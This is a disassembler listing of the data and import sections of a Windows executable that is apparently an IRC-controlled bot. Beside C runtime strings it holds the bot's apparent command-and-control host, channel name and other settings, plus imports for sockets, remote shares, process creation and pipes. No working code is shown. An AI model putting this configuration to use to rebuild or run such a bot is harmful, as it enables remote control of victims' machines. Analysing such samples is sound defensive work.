dbl_4276E8	dq 6.103515625e-5	; DATA XREF: sub_417ADE+93r
					; sub_417ADE+308r
dbl_4276F0	dq 2.288818359375e-3	; DATA XREF: sub_417ADE+21r
dbl_4276F8	dq -3.0517578125e-5	; DATA XREF: sub_418685+2Br
flt_427700	dd 9.765625e-4		; DATA XREF: sub_41A4D2+1B0r
flt_427704	dd 8.0			; DATA XREF: sub_41A4D2+1AAr
flt_427708	dd 0.0			; DATA XREF: sub_41A4D2+171r
flt_42770C	dd 1.0e-3		; DATA XREF: sub_41A4D2+168r
dbl_427710	dq 1.0			; DATA XREF: _floor+6Cr _ceil+6Cr ...
dword_427718	dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh	; DATA XREF: start+5o
; char Str1[]
Str1		db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41DC8A+8Eo
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41DC8A+4Fo
		align 4
byte_427754	db 6			; DATA XREF: __output:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		db 8,'`h````',0
		dd 78707000h, 8787878h,	807h, 8080007h,	8000008h, 7000800h
		dd 8
aNull_0:				; DATA XREF: .data:off_43CBF4o
		unicode	0, <(null)>,0
		align 10h
aNull		db '(null)',0           ; DATA XREF: .data:off_43CBF0o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .data:off_43CE6Co
dbl_427878	dq 0.0			; DATA XREF: __handle_exc+8Cr
					; __handle_exc+ACr ...
dbl_427880	dq 4.195835e6		; DATA XREF: __ms_p5_test_fdiv+Fr
dbl_427888	dq 3.145727e6		; DATA XREF: __ms_p5_test_fdiv+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: __ms_p5_mp_test_fdivo
		align 4
; char aE000[]
aE000		db 'e+000',0            ; DATA XREF: __cftoe+93o
		align 10h
dword_4278C0	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	___FrameUnwindToState+5o
dword_4278D0	dd 0FFFFFFFFh, 0	; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+5o
		dd offset sub_42224A
		align 10h
		dd offset sub_422228
		dd offset sub_422232
dword_4278E8	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0
					; DATA XREF: BuildCatchObject(EHExceptionRecord	*,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+5o
dword_4278F8	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	unknown_libname_11+5o
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 8
		dd offset loc_422599
		dd offset loc_42259D
dword_427920	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 10h
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427938	dd 2 dup(0)		; DATA XREF: ___crtLCMapStringA+36o
					; ___crtGetStringTypeA+39o ...
dword_427940	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: ___crtLCMapStringA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 10h
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_43D03Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+119o
		align 4
; char asc_427C08[]
asc_427C08	db 0Ah			; DATA XREF: __NMSG_WRITE+F1o
		db 0Ah,0
		align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o
		db 0Ah
		db 'Program: ',0
		align 4
; char a___[]
a___		db '...',0              ; DATA XREF: __NMSG_WRITE+BFo
; char aProgramNameUnk[]
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do
		align 8
dword_427C48	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: ___crtGetStringTypeA+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
; char VarName[]
VarName		db 'TZ',0               ; DATA XREF: __tzset+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: ___crtMessageBoxA+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: ___crtMessageBoxA+24o
; char a1Qnan[]
a1Qnan		db '1#QNAN',0           ; DATA XREF: _$I10_OUTPUT:loc_4257B7o
		align 10h
; char a1Inf[]
a1Inf		db '1#INF',0            ; DATA XREF: _$I10_OUTPUT+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: _$I10_OUTPUT+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: _$I10_OUTPUT+ADo
		align 4
dword_427CE8	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: ___crtCompareStringA+5o
		dd 427E24h
off_427D04	dd offset sub_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5	; ?what@runtime_error@@UBEPBDXZ
					; doubtful name
		dd offset sub_4266F6
		dd offset dword_427E70
off_427D14	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5	; ?what@runtime_error@@UBEPBDXZ
					; doubtful name
		dd offset loc_426732
dword_427D20	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
; char aInvalidStringP[]
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EBC
off_427D40	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5	; ?what@runtime_error@@UBEPBDXZ
					; doubtful name
		dd offset loc_426714
; char aStringTooLong[]
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F00
off_427D60	dd offset ??_Gtype_info@@UAEPAXI@Z ; DATA XREF:	type_info::~type_info(void)o
					; .data:off_43D764o ...
					; type_info::`scalar deleting destructor'(uint)
		dd offset dword_427F30
off_427D68	dd offset sub_426813	; DATA XREF: exception::exception(char const * const &)+8o
					; exception::exception(exception const &)+8o ...
		dd offset unknown_libname_16 ; Microsoft VisualC 2-8/net runtime
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: unknown_libname_16+7o
		align 8
dword_427D88	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	_CxxThrowException(x,x)+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DA8	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: ___crtLCMapStringW+5o
dword_427DC0	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: ___crtGetStringTypeW+5o
		dd 43D764h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF0	dd offset off_43D77C	; DATA XREF: .rdata:00427E08o
					; .rdata:00427E54o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E10	dd 3 dup(0)		; DATA XREF: .rdata:00427E34o
		dd 2, 427E08h, 3 dup(0)
		dd offset off_43D77C
		dd offset dword_427E10+4
off_427E38	dd offset off_43D79C	; DATA XREF: .rdata:00427E50o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E38
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E5C	dd 3 dup(0)		; DATA XREF: .rdata:00427E80o
		dd 3, 427E50h
dword_427E70	dd 3 dup(0)		; DATA XREF: .rdata:00427D10o
		dd offset off_43D79C
		dd offset dword_427E5C+4
off_427E84	dd offset off_43D7BC	; DATA XREF: .rdata:00427E9Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E84
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427EA8	dd 3 dup(0)		; DATA XREF: .rdata:00427ECCo
		dd 3, 427E9Ch
dword_427EBC	dd 3 dup(0)		; DATA XREF: .rdata:00427D3Co
		dd offset off_43D7BC
		dd offset dword_427EA8+4
off_427ED0	dd offset off_43D7E0	; DATA XREF: .rdata:00427EE8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED0
dword_427EEC	dd 3 dup(0)		; DATA XREF: .rdata:00427F10o
		dd 1, 427EE8h
dword_427F00	dd 3 dup(0)		; DATA XREF: .rdata:00427D5Co
		dd offset off_43D7E0
		dd offset dword_427EEC+4
		dd offset dword_427DC0+18h
dword_427F18	dd 4 dup(0)		; DATA XREF: .rdata:00427F40o
		dd 1, 427F14h
dword_427F30	dd 3 dup(0)		; DATA XREF: .rdata:00427D64o
		dd offset off_43D764
		dd offset dword_427F18+8
		align 8
stru_427F48	dd 19930520h		; Magic	; DATA XREF: .text:loc_426DF7o
		dd 2			; Count
		dd offset stru_427F48.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_426DE0	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_426DD8	; Info.Proc
stru_427F78	dd 19930520h		; Magic	; DATA XREF: sub_426E14o
		dd 2			; Count
		dd offset stru_427F78.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_426E04	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_426E0C	; Info.Proc
stru_427FA8	dd 19930520h		; Magic	; DATA XREF: sub_426E20o
		dd 2			; Count
		dd offset stru_427FA8.Info; InfoPtr
		dd 1			; CountDtr
		dd offset stru_427FD8	; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd 0			; Info.Proc
		dd -1			; Info.Id
		dd 0			; Info.Proc
stru_427FD8	dd 0, 0, 1		; _unk ; DATA XREF: .rdata:stru_427FA8o
		dd 1			; Count
		dd offset stru_427FF0	; RttiBlkPtr
		dd 0
stru_427FF0	_msRttiDscr <0,	0, 0, offset loc_40D7CB> ; DATA	XREF: .rdata:stru_427FD8o
stru_428000	_msExcInfo <-1,	offset sub_426E2A> ; DATA XREF:	.rdata:stru_428008o
stru_428008	_msExcept7 <19930520h, 1, offset stru_428000, 0, 0, 0>
					; DATA XREF: .text:loc_426E32o
		align 8
		dd offset off_43D764
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D77C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D79C
		align 8
		dd 0FFFFFFFFh, 0
dword_428070	dd 1Ch,	426682h, 3, 42805Ch, 428040h, 428024h ;	DATA XREF: .rdata:00428094o
dword_428088	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428070+8
stru_428098	_msExcInfo <-1,	offset sub_426E3C> ; DATA XREF:	.rdata:stru_4280A0o
stru_4280A0	_msExcept7 <19930520h, 1, offset stru_428098, 0, 0, 0>
					; DATA XREF: .text:loc_426E44o
stru_4280BC	_msExcInfo <-1,	offset sub_426E4E> ; DATA XREF:	.rdata:stru_4280C4o
stru_4280C4	_msExcept7 <19930520h, 1, offset stru_4280BC, 0, 0, 0>
					; DATA XREF: .text:loc_426E56o
stru_4280E0	_msExcInfo <-1,	offset sub_426E60> ; DATA XREF:	.rdata:stru_4280E8o
stru_4280E8	_msExcept7 <19930520h, 1, offset stru_4280E0, 0, 0, 0>
					; DATA XREF: .text:loc_426E68o
		align 8
		dd offset off_43D7BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428118	dd 1Ch,	4266DEh, 3, 428104h, 428040h, 428024h ;	DATA XREF: .rdata:0042813Co
dword_428130	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428118+8
stru_428140	_msExcInfo <-1,	offset sub_426E72> ; DATA XREF:	.rdata:stru_428148o
stru_428148	_msExcept7 <19930520h, 1, offset stru_428140, 0, 0, 0>
					; DATA XREF: .text:loc_426E7Ao
dword_428164	dd 2, 428040h, 428024h	; DATA XREF: .rdata:0042817Co
dword_428170	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_428164
		dd 283A8h, 2 dup(0)
		dd 2841Eh, 271D8h, 283B0h, 2 dup(0)
		dd 28434h, 271E0h, 281D0h, 2 dup(0)
		dd 28CA0h, 27000h, 5 dup(0)
		dd 28778h, 28C86h, 28C74h, 28C62h, 28C52h, 28C42h, 28C32h
		dd 28C14h, 28C02h, 28BF0h, 28BDCh, 28BCCh, 28BBEh, 28BAEh
		dd 28B9Ch, 28B82h, 28B6Ah, 28B50h, 28B36h, 28B1Ah, 28B0Ah
		dd 28AFAh, 28AEEh, 28ADCh, 28AD0h, 28440h, 2844Eh, 2845Ch
		dd 2846Eh, 28484h, 2849Ah, 284A2h, 284B2h, 284C0h, 284CEh
		dd 284E4h, 284F4h, 28500h, 28516h, 2852Ch, 28540h, 28556h
		dd 28566h, 28576h, 28588h, 28598h, 285A4h, 285B4h, 285C6h
		dd 285DAh, 285ECh, 285FCh, 2860Ah, 28622h, 2863Ah, 28662h
		dd 2867Ah, 28686h, 28696h, 286A2h, 286B0h, 286C4h, 286D6h
		dd 286EAh, 286F8h, 2870Ah, 2871Ch, 2872Ah, 28736h, 2874Eh
		dd 28768h, 2878Ah, 2879Ch, 287B4h, 287CEh, 287EAh, 287FAh
		dd 28814h, 28830h, 2883Eh, 28858h, 28864h, 28870h, 28882h
		dd 28894h, 288A8h, 288B8h, 288CAh, 288DAh, 288E8h, 288FAh
		dd 2890Ah, 28920h, 2892Eh, 2893Ch, 28958h, 2896Eh, 28984h
		dd 28990h, 289A6h, 289B6h, 289CAh, 289E0h, 289EEh, 289FAh
		dd 28A14h, 28A24h, 28A36h, 28A48h, 28A56h, 28A70h, 28A7Eh
		dd 28A8Ch, 28A9Ah, 28AAAh, 28ABAh, 28AC6h, 0
		dd 28408h, 0
		dd 80000007h, 8000000Fh, 8000000Ch, 80000074h, 80000073h
		dd 80000015h, 8000000Ah, 80000002h, 8000000Dh, 80000001h
		dd 28426h, 8000000Bh, 80000009h, 80000004h, 80000010h
		dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h
		dd 80000006h, 0
		db    6
		align 2
aWnetaddconne_1	db 'WNetAddConnection2A',0
aMpr_dll_0	db 'MPR.dll',0
aA_2		db 'A',0
aWsasocketa_0	db 'WSASocketA',0
		align 4
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 10h
		db '¹',0
aExitprocess	db 'ExitProcess',0
a4		db '4',0
aClosehandle	db 'CloseHandle',0
aF_2		db 'f',0
aCreateprocessa	db 'CreateProcessA',0
		align 2
		dw 17Dh
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		db 0C1h	; Á
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 356h
aSleep		db 'Sleep',0
aO_0		db 'o',0
aCreatethread	db 'CreateThread',0
		align 2
aG		db 'ƒ',0
aDeletefilea	db 'DeleteFileA',0
		dd 704F0286h, 72506E65h, 7365636Fh, 1430073h
aGetcurrentproc	db 'GetCurrentProcessId',0
		db  71h	; q
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 4
aC_2		db 'C',0
aCopyfilea	db 'CopyFileA',0
		db  19h
		db 3, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 15Eh
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		db  7Fh	; 
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 10h
		db  90h	; 
		db 3, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
		db '`',0
aCreatemutexa	db 'CreateMutexA',0
		align 2
		dw 1DFh
aGettickcount	db 'GetTickCount',0
		align 2
		dw 35Fh
aTerminatethrea	db 'TerminateThread',0
		dd 654701D5h, 6D655474h, 74615070h, 4168h, 6F4D026Eh, 69466576h
		dd 41656Ch, 6F4C0252h, 694C6461h, 72617262h, 4179h, 654701A0h
		dd 6F725074h, 64644163h, 73736572h, 1140000h, 43746547h
		dd 75706D6Fh, 4E726574h, 41656D61h, 1740000h, 4C746547h
		dd 6C61636Fh, 666E4965h, 416Fh,	654701E9h, 72655674h, 6E6F6973h
		dd 417845h, 784500BAh, 68547469h, 64616572h, 2510000h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aS_7		db '˜',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 224h
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0
aB		db '',0
aDeletecritical	db 'DeleteCriticalSection',0
		dw 3A4h
aWritefile	db 'WriteFile',0
aO_1		db 'O',0
aCreateeventa	db 'CreateEventA',0
		align 2
		dw 2B5h
aReadfile_0	db 'ReadFile',0
		align 2
aS_8		db 'S',0
aCreatefilea	db 'CreateFileA',0
		dd 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440093h
		dd 63696C70h, 48657461h, 6C646E61h, 1420065h
aGetcurrentpr_0	db 'GetCurrentProcess',0
aE_0		db 'e',0
aCreatepipe	db 'CreatePipe',0
		align 4
		dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h
		dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470163h, 6C694674h
		dd 7A695365h, 0CE0065h,	646E6946h, 736F6C43h, 0C50065h
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 2
		db 'Ä',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		db 'Ü',0
aFindnextfilea	db 'FindNextFileA',0
		db 'Ò',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		dw 31Bh
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db 0EEh	; î
		db 2, 53h, 65h
aTconsolectrlha	db 'tConsoleCtrlHandler',0
		db  8Eh	; Ž
		db 3, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		dw 0FCh
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 2
		dw 173h
aGetlocaltime	db 'GetLocalTime',0
		align 2
		dw 2A3h
aQueryperform_1	db 'QueryPerformanceCounter',0
		db 0A4h	; ¤
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceFrequency',0
		dd 724600F8h, 694C6565h, 72617262h, 1590079h
aGetenvironment	db 'GetEnvironmentVariableW',0
		db  16h
		db 2, 48h, 65h
aApfree		db 'apFree',0
		align 4
		db  10h
		db 2, 48h, 65h
aApalloc	db 'apAlloc',0
		db 0A3h	; £
		db 1, 47h, 65h
aTprocessheap	db 'tProcessHeap',0
		align 2
		dw 389h
aVirtualqueryex	db 'VirtualQueryEx',0
		align 4
		db 0B8h	; ¸
		db 2, 52h, 65h
aAdprocessmemor	db 'adProcessMemory',0
		dd 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6F4600F3h
		dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h
		dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h
		dd 6B63h, 6E550371h, 5670616Dh,	4F776569h, 6C694666h, 2680065h
		dd 5670614Dh, 4F776569h, 6C694666h, 540065h
aCreatefilemapp	db 'CreateFileMappingA',0
		align 10h
		db  1Fh
		db 3, 53h, 65h
aTfiletime	db 'tFileTime',0
		dw 165h
aGetfiletime	db 'GetFileTime',0
		db '¼',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		db  94h	; ”
		db 3, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 275h
aMultibytetowid	db 'MultiByteToWideChar',0
		db 0C3h	; Ã
		db 3, 6Ch, 73h
aTrcmpia	db 'trcmpiA',0
		db  5Ah	; Z
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 291h
aPeeknamedpipe	db 'PeekNamedPipe',0
		dw 178h
aGetlogicaldr_0	db 'GetLogicalDrives',0
		align 2
		dw 204h
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
		dd 6548021Ah, 65527061h, 6F6C6C41h, 2D70063h, 556C7452h
		dd 6E69776Eh, 1E20064h
aGettimezoneinf	db 'GetTimeZoneInformation',0
		align 4
		dd 654701C8h, 73795374h, 546D6574h, 656D69h, 654701B7h
		dd 61745374h, 70757472h, 6F666E49h, 1100041h, 43746547h
		dd 616D6D6Fh, 694C646Eh, 41656Eh, 654701E8h, 72655674h
		dd 6E6F6973h, 1580000h
aGetenvironme_0	db 'GetEnvironmentVariableA',0
		dd 65480214h, 65447061h, 6F727473h, 2120079h, 70616548h
		dd 61657243h, 6574h, 69560383h,	61757472h, 6572466Ch, 3810065h
		dd 74726956h, 416C6175h, 636F6C6Ch, 2360000h, 61427349h
		dd 69725764h, 74506574h, 1040072h, 43746547h, 666E4950h
		dd 0FD006Fh, 41746547h,	5043h, 65470193h, 4D454F74h, 5043h
		dd 615202A7h, 45657369h, 70656378h, 6E6F6974h, 21C0000h
		dd 70616548h, 657A6953h, 2440000h, 614D434Ch, 72745370h
		dd 41676E69h, 2450000h,	614D434Ch, 72745370h, 57676E69h
		dd 36E0000h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
		dw 0F6h
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db 0F7h	; ÷
		align 2
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 155h
aGetenvironme_1	db 'GetEnvironmentStrings',0
		dw 157h
aGetenvironme_2	db 'GetEnvironmentStringsW',0
		align 4
		db  24h	; $
		db 3, 53h, 65h
aThandlecount	db 'tHandleCount',0
		align 2
		dw 1B9h
aGetstdhandle	db 'GetStdHandle',0
		align 2
		dw 166h
aGetfiletype	db 'GetFileType',0
		db  37h	; 7
		db 3, 53h, 65h
aTstdhandle	db 'tStdHandle',0
		align 4
aU_0		db 'î',0
aFlushfilebuffe	db 'FlushFileBuffers',0
		align 10h
		db 0BAh	; º
		db 1, 47h, 65h
aTstringtypea	db 'tStringTypeA',0
		align 2
		dw 1BDh
aGetstringtypew	db 'GetStringTypeW',0
		align 4
		db  4Ah	; J
		db 3, 53h, 65h
aTunhandledexce	db 'tUnhandledExceptionFilter',0
		dw 233h
aIsbadreadptr	db 'IsBadReadPtr',0
		align 2
		dw 230h
aIsbadcodeptr	db 'IsBadCodePtr',0
		align 2
		dw 310h
aSetendoffile	db 'SetEndOfFile',0
		align 2
		db ':',0
aComparestringa	db 'CompareStringA',0
		align 4
		db ';',0
aComparestringw	db 'CompareStringW',0
		align 2
		dw 313h
aSetenvironment	db 'SetEnvironmentVariableA',0
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 2
_rdata		ends

; Section 3. (virtual address 00029000)
; Virtual size			: 000B4000 ( 737280.)
; Section size in file		: 000B4000 ( 737280.)
; Offset to raw	data for section: 00029000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 429000h
dword_429000	dd 0			; DATA XREF: __cinit+1Fo
		dd offset loc_401205
		dd offset unknown_libname_1 ; Microsoft	VisualC	2-8/net	runtime
		dd offset sub_40D89B
		dd offset sub_40E6D4
dword_429014	dd 0			; DATA XREF: __cinit+1Ao
dword_429018	dd 0			; DATA XREF: __cinit+10o
		dd offset ___onexitinit
		dd offset ___initmbctable
		dd offset ___initstdio
		dd offset sub_424752
dword_42902C	dd 0			; DATA XREF: __cinit:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: _doexit+65o
		dd offset ___endstdio
dword_429038	dd 0			; DATA XREF: _doexit:loc_41B833o
dword_42903C	dd 0			; DATA XREF: _doexit+76o
		dd offset sub_424763
dword_429044	dd 3 dup(0)		; DATA XREF: _doexit:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
; char aRb[]
aRb		db 'rb',0               ; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
		align 4
dword_42906C	dd 1B58h		; DATA XREF: WinMain(x,x,x,x)+4A4r
					; WinMain(x,x,x,x)+539r
dword_429070	dd 0C8Bh		; DATA XREF: WinMain(x,x,x,x)+585r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Cr
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2089r
					; sub_40BACE+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C44r
					; sub_40BACE:loc_40BEBFr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DD0r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Fr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: WinMain(x,x,x,x)+13Dr
dword_429090	dd 1			; DATA XREF: WinMain(x,x,x,x):loc_401562r
					; sub_41835A+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Cr ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB6+3Ar
					; sub_40ACB6+60r ...
; int dword_42909C
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
; int dword_4290A0
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
; char aQsfposs[]
aQsfposs	db 'qsfposs',0          ; DATA XREF: WinMain(x,x,x,x)+5Do
					; sub_401ACD:loc_4044A1o ...
aAbosel7Vs	db 'abosel7 vs',0       ; DATA XREF: sub_401ACD:loc_404946o
		align 4
; char aCool[]
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDCo
					; sub_401ACD+7EABo
		align 10h
; char Source[]
Source		db 'saber4.ircqforum.com',0 ; DATA XREF: WinMain(x,x,x,x)+490o
					; WinMain(x,x,x,x)+52Ao
		align 4
; char aFaak[]
aFaak		db '#FAAK#',0           ; DATA XREF: WinMain(x,x,x,x)+4B0o
					; WinMain(x,x,x,x)+540o ...
		align 10h
; char aSaad_[]
aSaad_		db 'saad.',0            ; DATA XREF: WinMain(x,x,x,x)+4C7o
					; WinMain(x,x,x,x)+552o
		align 4
; char byte_4290E8
byte_4290E8	db 73h			; DATA XREF: WinMain(x,x,x,x):loc_401789r
